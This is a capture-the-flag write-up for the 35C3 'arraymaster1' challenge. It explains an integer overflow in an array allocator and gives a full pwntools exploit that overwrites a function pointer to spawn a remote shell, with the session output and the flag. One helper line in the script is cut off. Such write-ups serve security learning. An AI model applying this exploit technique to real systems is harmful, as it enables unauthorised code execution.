Dvd848 35C3 4eec4b0 24 days ago

1 contributor

266 lines (222 sloc) 7.69 KB

arraymaster1

PWN

Description:

> Would you mind briefly testing our new integer array implementation?

A binary file was attached.

Solution:

Let's see what the program does:

```
root@kali:/media/sf_CTFs/35c3ctf/arraymaster1# ./arraymaster1

We implemeted int8, int16, int32, and int64 arrays in C.
However, we didn't have time to test them properly.
Here is a little test suite. Hopefully you won't find any exploitable bugs!
You can perform the following operations:
[1] list
    Print a summary of all arrays
[2] init <ID> <type> <l>
    Create an array with ID {A-J} of type {8, 16, 32, 46} and length l
[3] delete <ID>
    Delete the array with ID {A-J}
[4] set <ID> <i> <value>
    Set the value at index i of array ID {A-J}
[5] get <ID> <i>
    Get the value at index i of array ID {A-J}
[6] quit
    Leave the progam because there are no bugs anyway


Enter the command you want to execute.
[1] list
[2] init <ID> <type> <l>
[3] delete <ID>
[4] set <ID> <i> <value>
[5] get <ID> <i>
[6] quit

>

> init A 8 3

Enter the command you want to execute.
[1] list
[2] init <ID> <type> <l>
[3] delete <ID>
[4] set <ID> <i> <value>
[5] get <ID> <i>
[6] quit

> set A 0 99
```

```
Enter the command you want to execute.
[1] list
[2] init <ID> <type> <l>
[3] delete <ID>
[4] set <ID> <i> <value>
[5] get <ID> <i>
[6] quit

> get A 0
99

Enter the command you want to execute.
[1] list
[2] init <ID> <type> <l>
[3] delete <ID>
[4] set <ID> <i> <value>
[5] get <ID> <i>
[6] quit

> list
[A] {type: 8, length: 3}
[B]
[C]
[D]
[E]
[F]
[G]
[H]
[I]
[J]
```

We can allocate, delete, set and get arrays.

After diving into the disassembly, it looks like the program has a global array `arrays` of size 80, which can contain 10 pointers.

```
[0x00400aa2]> fs symbols
[0x00400aa2]> f~arrays
0x006020c0 80 obj.arrays
```

Each pointer is to a metadata struct of the following format:

```
+----------------+ 0
| num_elements   | -> Number of elements in the actual array
+----------------+ 8
| type           | -> Type of the array elements (8 / 16 / 32 / 64)
+----------------+ 16
| pointer        | -> Pointer to the actual array where the elements are stored. Length is (num_elements
* type / 8)
+----------------+ 24
| getter         | -> Pointer to function which knows to read an array element, e.g. int8_get, int16_get
etc.
+----------------+ 32
| setter         | -> Pointer to function which knows to write an array element, e.g. int8_set,
int16_set etc.
+----------------+
```

The bug occurs in the following logic:

```
; 0x400b29 [gn]
mov qword [rax], r12         ; r12 contains nun_elements - save in metadata[0]
mov qword [rax + 8], rbp     ; rbp contains type - save in metadata[1]
mov rax, rbp
shr rax, 3                   ; rax = type / 8
imul r12, rax                ; r12 = type / 8 * num_elements
mov rdi, r12
;  void *malloc(size_t size)
call sym.imp.malloc;[gk]
mov r14, rax                 ; r14 =  malloc(type / 8 * num_elements)
test rax, rax
je 0x400bad;[gm]
```

`type` was already sanitized to be one of `{8, 16, 32, 64}`, but `num_elements` was not checked against an upper bound.

Therefore, if we provide `(0xFFFFFFFFFFFFFFFF+1)/8` as `num_elements` for a 64bit array, we are actually requesting an array of length:

```
64 / 8 * (0xFFFFFFFFFFFFFFFF+1)/8 = 8 * (0xFFFFFFFFFFFFFFFF+1)/8 = (0xFFFFFFFFFFFFFFFF+1) --overflow-->
0
```

Reminder: `malloc(0)` is implementation defined in C99:

> If the size of the space requested is zero, the behavior is implementation-defined: either a null pointer is returned, or the behavior is as if the size were some nonzero value, except that the returned pointer shall not be used to access an object.

Thus, the `num_elements` of this array would be very large, but the allocated length of the payload (a.k.a user data) would be 0 (the overall allocation would include some heap-related metadata).

We can therefore allocate another array right after that, and use offsets from the first array to modify elements of the second array. Since we have a function called `spawn_shell` in our program, our natural move would be to override the address of the second's array getter or setter with `spawn_shell`.

Putting it all together:

```
from pwn import *
import argparse


#context.log_level = "debug"
LOCAL_PATH = "./arraymaster1"

def get_process(is_remote = False):
    if is_remote:
        return remote("35.207.132.47", 22228)
    else:
        return process(LOCAL_PATH)

def read_menu(proc):
    proc.recvuntil("\n> ")

def print_list(proc):
    read_menu(proc)
    proc.sendline("list")
    return proc.recvuntil("\nEnter the command you want to execute.", drop = True)

def init(proc, arr_id, arr_type, arr_length):
    read_menu(proc)
    proc.sendline("init {} {} {}".format(arr_id, arr_type, arr_length))
    log.info("Initializing array '{}' (Type: int{}, Length: {})".format(arr_id, arr_type, arr_length))

def set_entry(proc, arr_id, arr_index, value):
    read_menu(proc)
    proc.sendline("set {} {} {}".format(arr_id, arr_index, value))
    log.info("Setting index #{} of array '{}' to value '{}' ({})".format(arr_index, arr_id, value, hex(valu

def get_entry(proc, arr_id, arr_index):
    read_menu(proc)
    proc.sendline("get {} {}".format(arr_id, arr_index))
    out = int(proc.recvline(keepends = False))
    log.info("Index #{} of array '{}' has value '{}' ({})".format(arr_index, arr_id, out, hex(out)))
    return out

def quit(proc):
    read_menu(proc)
    proc.sendline("quit")
    log.info("Quitting...")

parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()
```

```
e = ELF(LOCAL_PATH)

p = get_process(args.remote)

spawn_shell_addr = e.symbols["spawn_shell"]
log.info("Address of spawn_shell: {}".format(hex(spawn_shell_addr)))

init(p, "A", 64, (0xFFFFFFFFFFFFFFFF+1)/8)

init(p, "B", 64, 1)

# Entries 0, 1, 2, 3 are malloc metadata
assert(get_entry(p, "A", 4) == 1)
assert(get_entry(p, "A", 5) == 64)
# get_entry(p, "A", 6) -> pointer to actual array
assert(get_entry(p, "A", 7) == e.symbols["int64_get"])
assert(get_entry(p, "A", 8) == e.symbols["int64_set"])

set_entry(p, "A", 8, spawn_shell_addr)
set_entry(p, "B", 0, 0)

p.interactive()
```

The output:

```
root@kali:/media/sf_CTFs/35c3ctf/arraymaster1# python exploit.py -r
[*] '/media/sf_CTFs/35c3ctf/arraymaster1/arraymaster1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
[+] Opening connection to 35.207.132.47 on port 22228: Done
[*] Address of spawn_shell: 0x4009c3
[*] Initializing array 'A' (Type: int64, Length: 2305843009213693952)
[*] Initializing array 'B' (Type: int64, Length: 1)
[*] Index #4 of array 'A' has value '1' (0x1)
[*] Index #5 of array 'A' has value '64' (0x40)
[*] Index #7 of array 'A' has value '4196725' (0x400975)
[*] Index #8 of array 'A' has value '4196788' (0x4009b4)
[*] Setting index #8 of array 'A' to value '4196803' (0x4009c3)
[*] Setting index #0 of array 'B' to value '0' (0x0)
[*] Switching to interactive mode
$ ls
arraymaster1
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
35C3_558937ad232b2239e82493e5daa3061711ba23d8
$ exit
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 35.207.132.47 port 22228
[*] Got EOF while sending in interactive
```

The flag: 35C3_558937ad232b2239e82493e5daa3061711ba23d8